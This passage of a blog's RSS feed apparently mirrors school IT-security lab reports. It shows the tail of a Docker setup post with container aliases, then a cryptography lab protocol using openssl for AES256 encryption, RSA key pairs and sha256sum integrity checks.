</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">EXPOSE</span><span style="color:#e6db74"> 38452</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">CMD</span> service ssh start <span style="color:#f92672">&amp;&amp;</span> tail -F /dev/null<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><h3 id="aliassh">alias.sh</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/sh
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>alias relaunch<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;sudo sh -c &#39;docker stop itsi &amp;&amp;\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      docker rm itsi &amp;&amp;\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      docker buildx build -t itsi:latest . &amp;&amp;\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      docker run -d -p 38452:38452 --name itsi itsi:latest &amp;&amp;\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      docker exec -it itsi /bin/bash&#39;&#34;</span>
</span></span><span style="display:flex;"><span>alias rebuild<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;sudo sh -c &#39;docker buildx build -t itsi:latest . &amp;&amp;\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      docker run -d -p 38452:38452 --name itsi itsi:latest &amp;&amp;\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      docker exec -it itsi /bin/bash&#39;&#34;</span>
</span></span><span style="display:flex;"><span>alias stop<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;sudo sh -c &#39;docker stop itsi &amp;&amp; docker rm itsi&#39;&#34;</span>
</span></span></code></pre></div><div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>Docker Glossary - FROM. <a href="https://docs.docker.com/glossary/#from">link</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>Ubuntu Official Image. <a href="https://hub.docker.com/_/ubuntu">link</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>tail command manual. <a href="https://man7.org/linux/man-pages/man1/tail.1.html">link</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>/dev/null - Wikipedia. <a href="https://en.wikipedia.org/wiki/Null_device">link</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>Docker Bridge Network. <a href="https://docs.docker.com/network/bridge/">link</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p>Docker Networking Video. <a href="https://www.youtube.com/watch?v=bKFMS5C4CG0">link</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a>&#160;<a href="#fnref1:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p>Linux File Permissions. <a href="https://www.guru99.com/file-permissions.html">link</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p>chgrp command manual. <a href="https://man7.org/linux/man-pages/man1/chgrp.1.html">link</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p>chown command manual. <a href="https://man7.org/linux/man-pages/man1/chown.1.html">link</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10">
<p>chmod command manual. <a href="https://man7.org/linux/man-pages/man1/chmod.1.html">link</a>&#160;<a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11">
<p>Linux Hardening Video. <a href="https://www.youtube.com/watch?v=hardening-linux">link</a>&#160;<a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Cryptography</title><link>https://0xveya.github.io/posts/itsi/year-3/exercise-3/cryptography/</link><pubDate>Fri, 18 Oct 2024 00:00:00 +0200</pubDate><guid>https://0xveya.github.io/posts/itsi/year-3/exercise-3/cryptography/</guid><description>&lt;blockquote>
&lt;p>Note: this was converted from PDF to Markdown using pdftotext and manual formatting. The original PDF can be found &lt;a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex3/Raichle_F%C3%BCrst_Kryptographie.pdf">here&lt;/a> along with the &lt;a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex3/quellen.bib">bibliography&lt;/a>.&lt;/p>&lt;/blockquote>
&lt;hr>
&lt;h1 id="cryptography">Cryptography&lt;/h1>
&lt;p>&lt;strong>Laboratory Protocol&lt;/strong>&lt;br>
Exercise 3: Cryptography&lt;br>
&lt;figure>
&lt;img loading="lazy" src="https://0xveya.github.io/itsi/y3/ex3/images/mika.jpeg"/> &lt;figcaption>
Figure: Wunderbares Gruppenbild
&lt;/figcaption>
&lt;/figure>
&lt;strong>Subject:&lt;/strong> ITSI|ZIVK&lt;br>
&lt;strong>Class:&lt;/strong> 3AHITN&lt;br>
&lt;strong>Name:&lt;/strong> Stefan Fürst, Marcel Raichle&lt;br>
&lt;strong>Group Name/Number:&lt;/strong> Dumm und Dümmer/7&lt;br>
&lt;strong>Supervisor:&lt;/strong> ZIVK&lt;br>
&lt;strong>Exercise dates:&lt;/strong> 4.10.2024, 11.10.2024, 18.10.2024&lt;br>
&lt;strong>Submission date:&lt;/strong> 7.6.2024&lt;/p>
&lt;hr>
&lt;h2 id="table-of-contents">Table of Contents&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="#task-definition">Task Definition&lt;/a>&lt;/li>
&lt;li>&lt;a href="#summary">Summary&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#symmetric-encryption">Symmetric Encryption&lt;/a>&lt;/li>
&lt;li>&lt;a href="#asymmetric-encryption">Asymmetric Encryption&lt;/a>&lt;/li>
&lt;li>&lt;a href="#integrity-check">Integrity Check&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#exercise-execution">Exercise Execution&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#symmetric-encryption-1">Symmetric Encryption&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#calculate-password-for-symmetric-encryption">Calculate Password for Symmetric Encryption&lt;/a>&lt;/li>
&lt;li>&lt;a href="#encrypt-file-symmetrically-with-aes256">Encrypt File Symmetrically with AES256&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#asymmetric-encryption-1">Asymmetric Encryption&lt;/a>&lt;/li>
&lt;li>&lt;a href="#check-integrity">Check Integrity&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#references">References&lt;/a>&lt;/li>
&lt;li>&lt;a href="#list-of-figures">List of Figures&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="task-definition">Task Definition&lt;/h2>
&lt;p>First, we deal with symmetric encryption, where a file is encrypted with a calculated password and then decrypted again. The same password is used for both encryption and decryption to verify and validate the process.&lt;/p></description><content:encoded><![CDATA[<blockquote>
<p>Note: this was converted from PDF to Markdown using pdftotext and manual formatting. The original PDF can be found <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex3/Raichle_F%C3%BCrst_Kryptographie.pdf">here</a> along with the <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex3/quellen.bib">bibliography</a>.</p></blockquote>
<hr>
<h1 id="cryptography">Cryptography</h1>
<p><strong>Laboratory Protocol</strong><br>
Exercise 3: Cryptography<br>
<figure>
    <img loading="lazy" src="/itsi/y3/ex3/images/mika.jpeg"/> <figcaption>
            Figure: Wunderbares Gruppenbild
        </figcaption>
</figure>

<strong>Subject:</strong> ITSI|ZIVK<br>
<strong>Class:</strong> 3AHITN<br>
<strong>Name:</strong> Stefan Fürst, Marcel Raichle<br>
<strong>Group Name/Number:</strong> Dumm und Dümmer/7<br>
<strong>Supervisor:</strong> ZIVK<br>
<strong>Exercise dates:</strong> 4.10.2024, 11.10.2024, 18.10.2024<br>
<strong>Submission date:</strong> 7.6.2024</p>
<hr>
<h2 id="table-of-contents">Table of Contents</h2>
<ul>
<li><a href="#task-definition">Task Definition</a></li>
<li><a href="#summary">Summary</a>
<ul>
<li><a href="#symmetric-encryption">Symmetric Encryption</a></li>
<li><a href="#asymmetric-encryption">Asymmetric Encryption</a></li>
<li><a href="#integrity-check">Integrity Check</a></li>
</ul>
</li>
<li><a href="#exercise-execution">Exercise Execution</a>
<ul>
<li><a href="#symmetric-encryption-1">Symmetric Encryption</a>
<ul>
<li><a href="#calculate-password-for-symmetric-encryption">Calculate Password for Symmetric Encryption</a></li>
<li><a href="#encrypt-file-symmetrically-with-aes256">Encrypt File Symmetrically with AES256</a></li>
</ul>
</li>
<li><a href="#asymmetric-encryption-1">Asymmetric Encryption</a></li>
<li><a href="#check-integrity">Check Integrity</a></li>
</ul>
</li>
<li><a href="#references">References</a></li>
<li><a href="#list-of-figures">List of Figures</a></li>
</ul>
<hr>
<h2 id="task-definition">Task Definition</h2>
<p>First, we deal with symmetric encryption, where a file is encrypted with a calculated password and then decrypted again. The same password is used for both encryption and decryption to verify and validate the process.</p>
<p>In the second part, asymmetric encryption is covered. A private and public key pair is generated, and the file is encrypted using the public key. This approach simulates a typical encryption procedure where the private key is used for decryption.</p>
<p>Finally, an integrity check is performed using hash values. Several text files are compared with given hash values to ensure that no data changes have occurred. The goal is also to identify a hash value that cannot be assigned to any of the text files.</p>
<hr>
<h2 id="summary">Summary</h2>
<h3 id="symmetric-encryption">Symmetric Encryption</h3>
<ul>
<li>A password is calculated from a date and a catalog number.</li>
<li>The file is encrypted using the openssl tool and the AES256 algorithm. A password must be entered.</li>
<li>Decryption is also performed with openssl, using the -d flag for decryption.</li>
</ul>
<h3 id="asymmetric-encryption">Asymmetric Encryption</h3>
<ul>
<li>A key pair (private and public) is generated.</li>
<li>The file is encrypted using the public key, the private key is used for decryption.</li>
<li>The corresponding openssl commands are used for this.</li>
</ul>
<h3 id="integrity-check">Integrity Check</h3>
<ul>
<li>sha256sum is used to create a hash value to check the integrity of the file and ensure that no changes have been made to the file.</li>
</ul>
<hr>
<h2 id="exercise-execution">Exercise Execution</h2>
<h3 id="symmetric-encryption-1">Symmetric Encryption</h3>
<h4 id="calculate-password-for-symmetric-encryption">Calculate Password for Symmetric Encryption</h4>
<p><strong>Date + Catalog Number</strong></p>
<pre tabindex="0"><code>20241004 + 24
2
</code></pre><h4 id="encrypt-file-symmetrically-with-aes256">Encrypt File Symmetrically with AES256</h4>
<p>For this, openssl is used, a cryptographic toolkit <sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>.</p>
<p>To encrypt the file with AES256 in this case, aes256 is used as an argument and the -in/-out flags specify the input/output file. After entering the command, a password must be entered.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex3/images/aes-encrypt.png"/> <figcaption>
            Figure: AES encryption
        </figcaption>
</figure>

<p>For decryption, the -d flag is used, which stands for decrypt. This and swapping input and output are needed to decrypt the file. When the command is executed, the password is requested.</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex3/images/aes-decrypt.png"/> <figcaption>
            Figure: AES decryption
        </figcaption>
</figure>

<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># encrypt</span>
</span></span><span style="display:flex;"><span>openssl aes256 -in Raichle.txt -out Raichle.encrypted
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># decrypt</span>
</span></span><span style="display:flex;"><span>openssl aes256 -d -in Raichle.encrypted -out Raichle.txt
</span></span></code></pre></div><h3 id="asymmetric-encryption-1">Asymmetric Encryption</h3>
<p>For asymmetric encryption, a key pair must first be generated. Two commands are needed for this, one for the private and one for the public key.</p>
<p>When creating the public key, the algorithm, key bits and filename are specified.</p>
<p>For encryption, the -encrypt flag is used, along with other flags for key and file input to encrypt the file.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># generate private key</span>
</span></span><span style="display:flex;"><span>openssl genpkey -algorithm RSA <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>-pkeyopt rsa_keygen_bits:4096 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>-out private-key.pem
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># extract public key</span>
</span></span><span style="display:flex;"><span>openssl pkey -in private-key.pem -out public-key.pem -pubout
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># encrypt file</span>
</span></span><span style="display:flex;"><span>openssl rsautl -encrypt <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>-inkey zivk.pem <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>-pubin -in Raichle-Fuerst-RSA.txt <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>-out Raichle-Fuerst-RSA.txt.zivk.enc
</span></span></code></pre></div><h3 id="check-integrity">Check Integrity</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># required command</span>
</span></span><span style="display:flex;"><span>sha256sum &lt;filename&gt;
</span></span></code></pre></div><figure>
    <img loading="lazy" src="/itsi/y3/ex3/images/hashes.png"/> <figcaption>
            Figure: Hashes
        </figcaption>
</figure>

<hr>
<h2 id="references">References</h2>
<p><em>For a full bibliography, see the <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex3/quellen.bib">original BibTeX file</a>.</em></p>
<h2 id="list-of-figures">List of Figures</h2>
<ol>
<li>Wunderbares Gruppenbild</li>
<li>AES encryption</li>
<li>AES decryption</li>
<li>Hashes</li>
</ol>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>cheat.sh/openssl, October 2024. <a href="https://cheat.sh/openssl">link</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>About</title><link>https://0xveya.github.io/about/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://0xveya.github.io/about/</guid><description>&lt;p>Mirroring the documentation from school exercises in Markdown format for easier access that seem worth putting here, I guess.&lt;/p>
&lt;p>Other stuff might be here aswell if i feel like writing about them.
&lt;img alt="uuh" loading="lazy" src="https://0xveya.github.io/images/test/UuhCatGIF.gif">&lt;/p></description><content:encoded><![CDATA[<p>Mirroring the documentation from school exercises in Markdown format for easier access that seem worth putting here, I guess.</p>
<p>Other stuff might be here aswell if i feel like writing about them.
<img alt="uuh" loading="lazy" src="/images/test/UuhCatGIF.gif"></p>
]]></content:encoded></item></channel></rss>